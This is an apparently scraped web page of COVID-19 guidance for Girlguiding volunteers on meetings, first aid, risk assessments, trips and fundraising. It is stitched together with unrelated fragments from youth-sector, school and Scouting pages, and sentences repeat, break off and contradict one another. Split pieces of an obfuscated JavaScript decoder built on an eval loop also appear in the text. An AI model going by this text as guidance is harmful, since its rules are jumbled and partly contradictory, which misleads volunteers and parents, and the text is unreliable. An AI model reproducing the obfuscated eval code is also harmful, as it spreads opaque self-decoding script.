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Visit our Queens Guide award guidance page to keep up to date with our latest advice. See our organising indoor training sessions guidance for details. However, it will be possible to provide the following support: Support group sessions (indoors or outdoors) are now permitted for all young people if one or more of the following applies: If one or more of the above apply, then young people may be invited to attend a âsupport groupâ. in England, that no more than six adult volunteers can meet face-to-face. In many cases this information can be gathered via email. This is different from the group size permitted in other parts of the country and is based on Government and Youthlink Scotland advice to minimise risks for volunteers and young people. If you have questions about this, check with the chief commissioner for BGO, [email protected]. When is your trip? If you're a Girlguiding member overseas, check the local government advice your country. So if you're in an area that can re-open, we recommend you do a risk assessment on re-opening and follow the UK government guidance on any local and national lockdowns that may prevent shops from opening (in many lockdown areas volunteers shops are not deemed as essential and should close), and any precautions and safety measures you’ll need to put in place. We may not be able to meet in person but we know that girls need Girlguiding more than ever in these difficult times – take a look at: Face-to-face ID verification can be done on a one-to-one basis, as long as social distance can be maintained. For campsites and activity centres guidance can be found on the UK government website. We anticipate that Scotland will return to a system of lockdown levels. The guidance states that extensions are granted if individuals can "demonstrate that they have made every effort to arrange requalification training as soon as possible and can explain in detail why they have not been able to do so”. We advise that they look out for symptoms and follow the public health advice where they live. A young leader or other young volunteers e.g. I'm part of a management committee that looks after a Girlguiding property. Do Girlguiding still need me to raise money for them even though units are not meeting? Outdoor meetings will be allowed from 29 March. Every year, Girlguiding UK collects an annual subscription to run our charity at a national level. Public guidance applies to all adult meetings – including trainings other than First Response and A Safe Space. 1st Response qualification that was due to expire between 17 March and 30 September will have an extended expiry date until 30 September. Some travel providers will cancel the trip if the final balance isn’t paid and you’ll lose the money already paid in. What do I do? This guidance is intended for use in England (Version 5). Residential Event Notification form that you complete before taking girls away overnight. We’ve been working closely with PGL since the start of the lockdown. This subscription will not be refunded to units and, if you have collected it directly from parents, you do not need to refund it because their daughters are still members of Girlguiding. See our. "\\\\\\\\Wa4N02\\\\\\\\J^0X03\\\\\\\\MTr]IP4A02\\\\\\\\XBCGEH05\\\\0z\\\\30\\" + Volunteers would have to go above and beyond to stay Covid-secure if we asked them to follow government guidance and National Youth Agency guidance for Providers of Outdoor Facilities for Sport and Recreation under DofE guidelines in their own gardens. Risk assessments for virtual meetings do not need to be signed off, but you should keep them in case of any issues. If your commissioner has not signed off your risk assessment, it’s best to talk to them about it. The Leadership qualification workbook asks the leader in training to carry out two activities in the unit meeting place. Everyone else should, where possible, stay 2 metres (3 steps) away from others, indoors and outdoors. No-one should be under pressure to meet face-to-face if they cannot do so safely - if you need to arrange a virtual ID check via posting documents please contact [email protected]. If they test positive for coronavirus, you'll need to suspend unit meetings immediately for 2 weeks and follow track and trace procedures. If you’re not sure, please look at our Donation acceptance policy or contact our friendly national Fundraising team by emailing [email protected] or calling 020 7834 6242. We always need to make sure that unit meetings are safe, whether they’re in person or online. This is when international travel might be permitted, as long as all previous steps have gone to plan. There’s lots of events using digital tools to bring people together online. Duke of Edinburgh's and Queens Guide award expeditions and explorations? I have a trip planned and I’m worried about insurance. Let your commissioner if this is the case. You might want to alternate your meetings between being online and face to face. It’s important to remember that all dates given by the government are “not before” dates and can be changed by the government at any time. Remember, you may be able to meet with other units online and should follow our digital safeguarding policy and procedures if you do this. For example, you could demonstrate to a girl how she can clean a wound and apply a plaster, while she follows along. Bubbles should not move spaces where another bubble has been unless a deep clean has been carried out of the new space. We're following their advice as the situation evolves. We'll confirmed this nearer the time, as it depends on how the government and the NYA think the previous step has gone. Coronavirus restrictions could last until at least all adults have been vaccinated, a senior Public Health England official has warned. The complaints, compliance and safeguarding teams will continue to offer support to investigate and provide outcomes for concerns raised. after blowing your nose, coughing or sneezing. When the restrictions are lifted please consider that Girlguiding will always abide by foreign office and government advice on trips with young people and specific country advice. We’re working out how we can support them and we’re looking at ways of bringing our Girlguiding family together online during the next few weeks. If it’s a small deposit that won’t be a big loss, it might make more financial sense to cancel without paying further. Check out our support for virtual guiding: No face-to-face guiding meetings can happen during lockdown, indoors or outdoors. We take great pride in the values and ethos of our school. If possible, ask the injured member to do things for you. Our thanks to: If you have any feedback for us, please email [email protected], Please read our legal statement on the above guidance, © 2001-2021 NYA | Registration No. We know that this can be worrying, but we’re in unprecedented times and as long as you’ve looked at your options thoroughly to make the decision best for you and the group – that’s the best you can do. Good hygiene practice must be followed and anyone handling food must wash their hands with soap and water for at least 20 seconds. Yes. Zoom or Google hangouts. Even if the event is postponed, Girlguiding nationally, regionally and locally needs your support now more than ever. Encourage them to seek testing. You can sign your unit up to. So make sure you check our Safeguarding policy and Digital safeguarding policy before trying any online activity with girls or other volunteers. You should also talk to. Remove any unnecessary items. We may not be able to meet in person, but we know that girls need Girlguiding more than ever in these difficult times – take a look at: Face-to-face ID verification can be done on a one-to-one basis, provided social distancing can be maintained. As much as is possible yes. Some sections of the award may still be able to be completed, so extensions will only be given for elements that have been postponed. Click on the image below to view the guidance documents. Once indoor meetings restart, spaces must be thoroughly cleaned between meetings. I have outstanding actions from a complaints. The School Day. Good hygiene practice must be followed and anyone handling food must wash their hands with soap and water for at least 20 seconds. Contact the chief commissioner for BGO, [email protected], with any questions or concerns around indoor and outdoor activity. This will tell you what you need to do in all training situations. Check the England-specific information below for details. We encourage you to still meet virtually with your unit. While their centres are closed, you'll be given the opportunity to move your booking to later in 2020 or any time in 2021, in line with their terms and conditions. If groups are meeting at the same time, then they can share a first aider. The Health and Safety Executive (HSE) guidance around first aid extensions has recently changed and so we’ve updated our process around extensions for 1st Response. Most of the time this will be a Girlguiding volunteer with a valid 1st Response qualification or an approved external first aid qualification. When reviewing your LQ evidence, your mentor may ask you about how you adapt to different environments, so make sure you’re thinking about this. Phased Reopening. This means that leaders won't be held personally liable for any accident or an illness contracted as long as they have taken all due care and attention to mitigate the risks, filled out a risk assessment and followed our policies, procedures and guidance. If you have enough volunteers and a venue with multiple spaces, it may be possible for multiple groups to meet in your venue. If you held a bake sale/raffle/quiz night to raise money for your trip and your trip is now cancelled, refunds even though the trip is cancelled. The Gold transition route final deadline for all sections has been extended to 31 March 2021. WELCOME. If the new unit is meeting face to face, then girls can join their new unit in the usual way. And releasing the content for free would both impact the sales from our shop and be unfair to girls who already have their own paid-for copy. They might have an employed cleaner or designated member of their team who is responsible. We know that girls need Girlguiding more than ever in these difficult times – take a look at: More information: See more guidance from YouthLink Scotland (PDF). If you hire your meeting venue, you should let the property managers know as well. clever website that turns everyday online shopping from 4,000 retailers into free donations - and you don't need to have a charity number to use it. But you should take some extra steps to keep things safe during Covid-19. They are not needed outdoors. However first aiders can be shared across units if using the same venue at the same time, and your venue may have an onsite first aider who can provide this cover. Be sure to read the cancellation policy carefully and make no payments until you have appropriate, comprehensive travel insurance in place. If someone cannot wear a face mask, a visor or face shield can be worn, but be aware that these do not offer as much protection as a mask. ID verification: ID verification can be done in-person, on a one-to-one basis, as long as social distance can be maintained. Consideration of any volunteers or young members who might be moving between levels, Any management actions to mitigate risks for vulnerable members and volunteers, A plan for cleaning, including who is responsible and when it will be done, That all adults attending have considered that they might need to isolate if a Covid-19 case is confirmed after the meeting, and the impact this would have on their personal and professional lives, Likelihood and severity of risk are completed for all points - all Covid-related risks should be considered high, Review your unit meeting property risk assessment. All Queen's Guide award participants are eligible for extensions, even if they are nearing their 26th birthday, and this extra time does not count as the 12 month break. Disclosure check can now start up again if social distancing measures are followed. you to reduce risk and keep members safe. What impact will this decision have on the trip attendees and how you will you manage changes in numbers if people aren’t able to come anymore – will you replace them? Face coverings: You need to wear face coverings for indoor meetings. We've summarised how national guidance applies to unit meetings in your area. What can I do? What is the guidance for managing buildings during this time? For units who are holding their meetings online, we have created a virtual guiding new starter form for new joiners. It's important to support girls during this time, You can stay connected with your unit using online video meetings. If groups are meeting at the same time, in separate rooms or areas, then they can share a first aider. while (x = eval(x)); Now that we can deliver all levels again, keeping everyone safe is our priority. For example, you should consider posting cheques for signatures. There are lots of ways to take your fundraising online. Group size: Outdoor meetings can have a maximum of 15 individuals, girls plus adults. On this page you will find the timetable for phased returns and the date/time slots for testing for students in Years 7, 10, 11, 12 and 13. This guidance must be used in conjunction with the readiness framework and your existing safeguarding policies and procedures. As of. This means no singing at indoor or outdoor meetings. Rainbows and Brownies do not need to wear them. For example, if you need to deliver accounts paperwork to another volunteer, then leave it on the doorstep and stay at a distance to check they receive it. If girls need more support, do not know the leader of the new section, or are worried about moving up at this time, then you can postpone their move date until they can meet their new unit in person. Coronavirus (COVID-19): guidance and support Brexit. Check the disclosure section of your GO record to see your new, extended disclosure expiry date. But if your indoor meeting venue has plenty of space for social distancing and is well ventilated, then with a risk assessment you might be able to safely sing together. But if you are owners of the property, this is your decision.Take a look at our advice on managing property during coronavirus. Public guidance applies to all adult meetings – including trainings other than First Response and A Safe Space. If girls are due to move up a section, feel confident about it and have met with the new unit, then you can move her up by arranging a digital welcome meeting with her new unit, if they are not meeting in person. It remains your unit's responsibility to cover any ongoing unit expenses such as hall hire. With people being asked to avoid direct contact, this could be a great way to keep in touch and give people something to do. It is intended to guide the youth sector in opening up services for young people at the right pace and time. ID verification: Face to face ID verification can be done on a one-to-one basis, as long as social distancing can be maintained. Read through. Taking things out of the meeting space means they won't be touched and will make cleaning more straightforward. relevant government guidance on managing property during this time. At the moment your unit meeting place may be a field or an online space, but they still count! The only exception is where vulnerable young people require essential face-to-face support. If that's not possible and you're unable to progress an investigation, let the relevant team know. If you’re doing online guiding, talking over a video call could be a chance to see if they can join online meetings. There’s a range of programme activities and new challenges to try, all available for free. The NYA is grateful to members of a ministerial task-force who supported the development of this guidance and approved of its release. How much money have you already paid in and might lose? When we talk about thorough cleaning, we mean: If Girlguiding property is open and there is outdoor space, then you can hold outdoor meetings and activities there. From the 8th March and until the start of Step 1 B the youth sector will remain at Readiness Level RED. We know that many units will be in a difficult financial position because of coronavirus. While their centres are closed, you'll be given the opportunity to move your booking to later in 2020 or any time in 2021, in line with. How to talk to young people about coronavirus (Covid-19), Video: An update from the Chief Guide and CEO, our blog on talking to girls about coronavirus, organising indoor training sessions guidance. Any other volunteers present on the day can let their unit’s volunteers and parents know that a member has possibly contracted the virus. Leaders may move between bubbles if required to safeguard young people, manage behaviour or provide assistance. Yes! All virtual options require a follow up face-to-face session to cover off practical skills. Volunteers in roles which involve regulated activity must have an up to date disclosure check. We will keep monitoring government and youth sector guidance and will lift this restriction when it is safe to do so. esponse training expires while there is no training being delivered? You should please allow at least 14 days for your risk assessment to be signed off. Watch our CEO and Chief Guide discuss ways of guiding during the Covid pandemic. The guidance will support local providers, leaders, volunteers and young people Make sure you check out our guidance for safe guiding online. We'll update all our members as soon we have news from Scotland, Wales and Northern Ireland. The risk assessment needs to include all steps for making the session Covid-19 secure, social distancing must be maintained through the session and all government guidance must be followed. The process for the outdoor and indoor meeting checklist and risk assessment should work in the same way as the. "\\0B\\\\PF0I00\\\\\\\\\\\\~\\\\\\\"?\\\\u4|v~lbdg:t|z}bm\\\\h(\\\"}fo;n ure" + moray; Grange; Caird Everyone should read the guidance document below and follow the recommended actions and requirements. So, we’ve extended the deadline for renewing some qualifications. We cannot put these resources online for a few reasons. Different bubbles need to be in specific pre-agreed spaces with a physical barrier (wall/screens/bunting) between them. Firstly, make sure all your attendees know the event is cancelled, and update any marketing materials like posters and social media to show the event is cancelled. If you’re interested in running a residential from June 2022, you may submit a permission to plan form and make initial enquiries once you have permission to plan. For example if it’s essential that you visit a Girlguiding property because your meeting venue is closing, you could plan through your risk assessment to have one volunteer in the building and another in the carpark to load up their car and move materials. No one should be under pressure to meet face-to-face if they cannot do so safely - if you need to arrange a virtual ID check by posting documents, please contact [email protected]. If the venue or provider you are using provides first aid cover, this will count as having a first aider. It's likely that insurance companies will change their stance based on changing government advice, contact your provider to understand your options. pages to keep up to date with our latest advice. Our national activity centres have cancelled events until the end of the year 2020 and from the new year taking events on a case by case basis depending on what is allowed. They can work with you to mitigate any risks and plan next steps. I've been fundraising for a trip that can't go ahead – do I have to return the donations? Our online shop is open and our brilliant range of badges, badge books and gifts are available. You could also host a virtual event using Zoom or Google hangouts. Check with the group who are running the challenge event to see if it's still going ahead, but yes – many charity challenges scheduled for later in the year and beyond are still accepting sign ups. We always need to make sure that unit meetings are safe, whether they’re in person or online. You and another adult volunteer should talk with the new starter and their parent or carer about how your unit is running during Covid-19. Youth sector providers do not need to provide evidence that any of the above criteria has been met for a young person to attend. It also includes levies to support other levels of Girlguiding, such as region and county, and their annual running costs. We can confirm that outdoor, face-to-face guiding can start in England from 29 March. Toilets and handwashing: Everyone should wash their hands or use hand sanitiser when they arrive and before they leave. Young members are our responsibility once they come through the door to their unit meeting. The latest guidance and advice on how to Keep on Scouting in South East Scotland during to the current coronavirus (COVID-19) outbreak. This will still be useful post Covid as it is a valid method of route planning (i.e. Ask your commissioner about how this is delivered in your area or contact your country or region office. If there are non-recoverable costs that parents have already paid for then clearly explain why you’re not able to give refunds. "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + If you need to arrange a virtual ID check via the post please contact [email protected]. Currently, no residentials are allowed. A, sk your commissioner about how this is delivered in your area. Make sure everyone you were working with, like your venue, any caterers or entertainment know the event is cancelled check your insurance policy and contracts, so you know if you have incurred any costs. This should be avoided if possible and there must be enough qualified first aiders and volunteers with current DBS/AccessNI/PVG. Strava and Fitbit offer ways to share exercise-based achievements - why not change your fun run to a virtual fun run? Virtual meetings: You can still continue to meet virtually, even once you restart in-person meetings. What information can we share with people who, From a data protection point of view, volunteers and parents in the, other volunteers present on the day can let their, advise that they look out for symptoms and follow. And hear from Alice and Sophie who’ve been guiding online. It may seem obvious but it’s good to be upfront with parents about the situation, as they might be worried too. The money must. Our disclosure checks do not cover home working which guiding at home would fall under. Where the face to face support could be provided by another Girlguiding volunteer or by another organisation then the travel would not be seen as essential and so should not take place. Can I still work on my Leadership qualification during this time? Managing youth sector activities and spaces during COVID-19 The National Youth Agency (NYA) as the Professional Statutory and Regulatory Body for youth work in England has, in consultation with Public Health England and the Health and Safety Executive, developed youth sector specific advice and guidance. If that's not possible and you're unable to progress an investigation, let the relevant team know. Any bookings that are accepted during this time must be thoroughly risk assessed to ensure that they do not breach current government guidance to reduce the spread of the virus. They might have questions about your planning or could ask you to make changes that will help you to reduce risk and keep members safe. if any hardship arrangements are available locally. A support group must be by invitation only and include no more than 15 young people, plus workers/volunteers per session. You don't need to have separate toilets for each group or bubble, but you should try to limit the number of people using them at the same time. Social distancing should be maintained during all activities. Take a look at our guidance on online guiding for some recommended platforms for video calls. For example, use paper towels in the toilet, instead of a hand towel. We’ve been working closely with PGL since the start of the lockdown. We know that all volunteer shops operate differently. We know that many units will be in a difficult financial position because of coronavirus. Before you do any further fundraising or planning, ask your international advisor for their advice. All other training should be delivered virtually. You don't need to have separate toilets for each group or bubble, but you should try to limit the number of people using them at the same time. Check here to find out how guiding is impacted where you are. A written risk assessment will help you plan how you'll stay safe. Please do not carry out fundraising for new international trips or submit any permission to plan documents for trips before June 2022 at this time. You should not make any payments or start any fundraising activities without comprehensive insurance in place. Returning to in-person training events is still under review and we will update members when and if changes are made. //-->//, ** From 8th March 2021 we can confirm that the youth sector moves into Step 1A on the Roadmap, remaining at RED in the readiness framework. This might impact your rights to claim on insurance too – always read the small print. In Scotland, units should follow the guidance from YouthLink. All of this will require money to cover the costs - so please do continue to fundraise if you can. Which volunteers have current PVG/ DBS/AccessNI and Level 3A Safe Space training. How many volunteers can meet face-to-face if it's an adult only meeting? All you need is the participantâs eDofE ID number, their Award level (Bronze, Silver or Gold) and the section you are assessing them for (Volunteering, Physical, Skill, Expedition or Residential). PGL are currently handling all enquiries and prioritising these by planned trip date. My unit, district or county owns a building. Indoor, in-person meetings are only permitted where vulnerable young people require essential face-to-face support. Contact Us If your commissioner has not signed off your risk assessment, it’s best to talk to them about it. Send this risk assessment to [email protected]. The money generated from badge book sales, like everything in our online store, goes back into the organisation, funding future work for that helps girls and members. We recommend that you only sing in outdoor meetings. The Girlguiding shop on Buckingham Palace Road is closed. Response training and disclosure check renewal dates. And we are now able to also train Levels 3 and 4 on a virtual platform. Make sure they are frequently cleaned, and that social distancing is possible. Girlguiding is only exempt from public restrictions as a youth organisation so only face-to-face meetings with young people are exempt i.e. Any elements of the Queen's Guide award that cannot go ahead due to Covid-19 can be given an extension by their county coordinator. We know that our members have not been able to do face to face training, including 1st response training, during lockdown. This decision is based on advice from government and youth services to minimise the risk of transmission for volunteers and young people. the 31 December deadline for completing A Safe Space training? Plans for thorough cleaning should be included in your risk assessments, including when it will be done during your meeting time, and who will be responsible for carrying it out. We encourage you to still meet virtually with your unit. Striving for Excellence, Caring for All. We’re working out how we can support them and we’re looking at ways of bringing our Girlguiding family together online during the next few weeks. There’s lots of events using digital tools to bring people together online. It's important to take steps to prevent the spread of Covid-19 on the premises. Government guidance in all four UK nations allows people to leave their homes to carry out voluntary work, but only if it cannot be done at home. As before, this does depend on how earlier steps have gone. What do I do if a final payment is needed, but the trip might be cancelled? PGL are currently handling all enquiries and prioritising these by planned trip date. If someone cannot wear a face mask, a visor or face shield can be worn, but be aware that these do not offer as much protection as a mask. If you rent the space from someone else, find out from them who'll be responsible for the cleaning. Before conducting any further fundraising or planning activities, ask your international advisor for advice. All of Scotland remains in Level 4 lockdown apart from Orkney, Shetland, the following islands within Argyll and Bute: Coll, Colonsay, Erraid, Gometra, Iona, Islay, Jura, Mull, Oronsay, Tiree, and Ulvaall islands in the Highlands, with the exception of Skye. Is there any guidance on opening volunteer shops? You’ll need to think about what the cancellation terms are if you cancel or postpone events sooner rather than later. var x = "function f(x){var i,o=\"\",l=x.length;for(i=0;i